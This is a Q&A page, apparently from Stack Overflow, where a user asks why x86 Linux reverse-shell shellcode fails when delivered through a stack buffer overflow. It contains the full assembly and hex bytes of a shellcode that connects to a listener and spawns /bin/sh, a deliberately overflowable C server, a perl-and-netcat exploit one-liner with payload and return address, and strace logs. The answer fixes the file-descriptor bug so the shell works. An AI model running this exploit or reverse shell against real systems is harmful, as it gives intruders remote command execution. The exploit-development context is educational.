Search code examples
clinuxassemblyx86shellcode

This shellcode and headache


Good afternoon. I've been looking for a while what's happening with this shellcode. This is the asm code:

add    esp, 0x3c
xor    eax, eax
xor    ebx, ebx
xor    ecx, ecx
xor    edx, edx
mov    al, 102  ; __NR_socketcall
inc    bl       ; socket
push   ecx
push   0x6      ; IPPROTO_TCP
push   0x1      ; SOCK_STREAM
push   0x2      ; AF_INET
mov    ecx, esp
int    0x80     ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov    esi, eax ; esi = socket descriptor

mov    al, 0x66 ; __NR_socketcall
mov    bl, 0x2
push   0x1201a8c0 ; addr = 
push word   0x697a     ; port = 31337
push   bx         ; AF_INET
inc    bl
mov    ecx, esp
push   0x10
push   ecx

push   esi
mov    ecx, esp
int    0x80

xor    ecx, ecx
mov    cl,  3
bucle:
dec    cl
mov    al, 0x3f
int    0x80
jne    bucle

xor    eax, eax
push   edx
push   0x68732f6e
push   0x69622f2f
mov    ebx, esp
push   edx
push   ebx
mov    ecx, esp
push   edx
mov    edx, esp
mov    al, 0xb
int    0x80

The add esp, 0x3c at the beginnig is to avoid the shellcode overwriting himself. It works ensambling with nasm sc.asm, obtaining the opcodes with xxd and executing it using this C code:

#include <stdio.h>

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66" \
                   "\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89" \
                   "\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68" \
                   "\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53" \
                   "\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1" \
                   "\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f" \
                   "\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f" \
                   "\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52" \
                   "\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";

void main()
{
    void (*fp)();
    fp = (void*) &shellcode;
    fp();
}

Screen 1:

arget@kali:~/exploiting/remote$ ./prueba

Screen 2:

arget@kali:~/exploiting/remote$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50026
whoami
arget
exit
 sent 12, rcvd 6
arget@kali:~/exploiting/remote$

But things change exploiting this other code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int vuln(char* arg, int newsockfd)
{
    int n;
    char vul[128];
    strcpy(vul, arg);
    n = write(newsockfd, vul, strlen(vul));
    return n;
}

void shell()
{
    __asm__("jmp *%ecx");
}

void error(const char *msg)
{
    perror(msg);
    exit(1);
}

int main(int argc, char **argv)
{
    int sockfd, newsockfd, portno;
    socklen_t clilen;
    char buffer[256];
    struct sockaddr_in serv_addr, cli_addr;
    int n;
    if(argc < 2)
    {
        fprintf(stderr, "ERROR, no se ha indicado puerto\n");
        exit(1);
    }
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if(sockfd < 0)
        error("ERROR al abrir el socket");
    bzero((char*) &serv_addr, sizeof(serv_addr));
    portno = atoi(argv[1]);
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(portno);
    if(bind(sockfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) < 0)
        error("ERROR en bind()");
    listen(sockfd, 5);
    clilen = sizeof(cli_addr);
    newsockfd = accept(sockfd, (struct sockaddr*) &cli_addr, &clilen);
    if(newsockfd < 0)
        error("ERROR en accept");
    bzero(buffer, 256);
    n = read(newsockfd, buffer, 255);
    if(n < 0)
        error("ERROR leyendo del socket");
    printf("%s", buffer);
    n = vuln(buffer, newsockfd);
    if(n < 0)
        error("ERROR escribiendo en el socket");
    close(newsockfd);
    close(sockfd);
    return 0;
}

Compiled with gcc v.c -o v -z execstack. Analyzing it with gdb we can see in vuln() that it reserves 140 bytes before EBP, so 144 before EIP. Also we can see that in the moment to execute ret ecx falls on our buffer. With objdump -d v we obtain the addres of the jmp *%ecx: 0x0804875c and we can use it to bypass ASLR.

Opened a terminal executing nc -lvvp31337 on attacker's machine we can proceed to attack, on the victim computer we execute the stack-overflowable program: ./v 1337, and on the attacker machine we send:

perl -e 'print "\x83\xc4\x3c\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xac\x1a\x9d\xf1\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 192.168.1.11 1337

In the "nc -lvvp31337" console the result is this:

arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50030
 sent 0, rcvd 0
arget@kali:~$

The connection was really here, but it's inexplicably closed. If we trace the system calls with "strace ./v 1337" the results after the attack are these:

arget@kali:~/exploiting/remote$ strace ./v 1337
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ)   = 0
mprotect(0xb77bc000, 4096, PROT_READ)   = 0
munmap(0xb7778000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
accept(3, {sa_family=AF_INET, sin_port=htons(60865), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
read(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 255) = 148
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7797000
write(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 148) = 148
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb88bf000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7768000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6
fstat64(6, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 6, 0) = 0xb7748000
close(6)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 6
read(6, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(6, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 6, 0) = 0xb759e000
mmap2(0xb7742000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 6, 0x1a4000) = 0xb7742000
mmap2(0xb7745000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7745000
close(6)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb759d000
set_thread_area({entry_number:-1, base_addr:0xb759d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7742000, 8192, PROT_READ)   = 0
mprotect(0xb77ab000, 4096, PROT_READ)   = 0
mprotect(0xb778c000, 4096, PROT_READ)   = 0
munmap(0xb7748000, 127778)              = 0
getpid()                                = 1993
rt_sigaction(SIGCHLD, {0xb779ebc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 1991
brk(NULL)                               = 0xb88bf000
brk(0xb88e0000)                         = 0xb88e0000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbfbcbea8)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, 0xb77ac6c0, 8192)               = -1 ENOTCONN (Transport endpoint is not connected)
exit_group(0)                           = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$ 

Ok, as we can see the shellcode is being executed, and it works well until it invokes //bin/sh, which exits unexpectedly.

Comparing this with the program "prueba" at the beginning of the post, stresses that they realize practically the same system calls, look:

arget@kali:~/exploiting/remote$ strace ./prueba
execve("./prueba", ["./prueba"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8656000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7748000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7728000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb757e000
mmap2(0xb7722000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7722000
mmap2(0xb7725000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7725000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb757d000
set_thread_area({entry_number:-1, base_addr:0xb757d940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7722000, 8192, PROT_READ)   = 0
mprotect(0xb776c000, 4096, PROT_READ)   = 0
munmap(0xb7728000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb89de000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76dd000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 4
fstat64(4, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 4, 0) = 0xb76bd000
close(4)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 4
read(4, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(4, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 4, 0) = 0xb7513000
mmap2(0xb76b7000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 4, 0x1a4000) = 0xb76b7000
mmap2(0xb76ba000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb76ba000
close(4)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7512000
set_thread_area({entry_number:-1, base_addr:0xb7512940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb76b7000, 8192, PROT_READ)   = 0
mprotect(0xb7720000, 4096, PROT_READ)   = 0
mprotect(0xb7701000, 4096, PROT_READ)   = 0
munmap(0xb76bd000, 127778)              = 0
getpid()                                = 2029
rt_sigaction(SIGCHLD, {0xb7713bc0, ~[RTMIN RT_1], 0}, NULL, 8) = 0
geteuid32()                             = 1000
getppid()                               = 2027
brk(NULL)                               = 0xb89de000
brk(0xb89ff000)                         = 0xb89ff000
getcwd("/home/arget/exploiting/remote", 4096) = 30
ioctl(0, TCGETS, 0xbf80ad38)            = -1 ENOTTY (Inappropriate ioctl for device)
rt_sigaction(SIGINT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL, ~[RTMIN RT_1], 0}, NULL, 8) = 0
read(0, "exit\n", 8192)                 = 5
exit_group(0)                           = ?
+++ exited with 0 +++
arget@kali:~/exploiting/remote$

And in "nc -lvvp31337":

arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50779
exit
 sent 5, rcvd 0
arget@kali:~$ 

Anyone has any idea of what's the problem??


Solution

  • The error is obvious from the strace output that you so nicely provided:

    socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
    connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
    dup2(3, 2)                              = 2
    dup2(3, 1)                              = 1
    dup2(3, 0)                              = 0
    

    The shellcode opens the socket at fd 5 but then proceeds to use fd 3. That happens because:

    mov    bl, 0x2
    push   0x1201a8c0 ; addr = 
    push word   0x697a     ; port = 31337
    push   bx         ; AF_INET
    inc    bl
    

    This part sets bl to 3 which will later also be used for the file descriptor. Since the correct fd has been saved previously to esi, you can do mov ebx, esi just before the bucle label to fix it.